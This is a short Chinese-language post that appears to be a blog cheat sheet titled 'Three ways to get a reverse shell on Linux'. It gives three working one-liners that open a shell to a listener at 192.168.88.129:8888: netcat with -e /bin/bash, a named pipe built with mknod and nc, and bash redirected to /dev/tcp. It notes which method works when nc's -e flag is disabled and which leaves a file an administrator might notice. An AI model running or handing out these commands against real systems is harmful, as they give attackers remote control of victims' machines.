Linux下反弹shell的三种方法
Linux下反弹shell的三种方法
·
Linux下反弹shell的三种方法
1.直接使用nc
nc 192.168.88.129(监听IP) 8888(监听Port) -e /bin/bash
适用目标系统nc命令没有禁用 -e参数
2.使用nc与管道
mknod backpipe p; nc 192.168.88.129(监听IP) 8888(监听Port) 0<backpipe | /bin/bash 1>backpipe 2>backpipe
使用管道符 | 连接nc的输出与bash的输入,使用自己创建的管道 backpipe连接/bin/bash的输出与nc的输入。优点:适用于nc的 -e参数被禁。缺点:会在当前目录下创建一个名为backpipe的管道文件,容易被管理员发现。
3.直接使用bash命令
bash -i >& /dev/tcp/192.168.88.129/8888 0>&1
使用 >& 把bash的错误也重定向至tcp连接的输入
更多推荐
已为社区贡献1条内容
所有评论(0)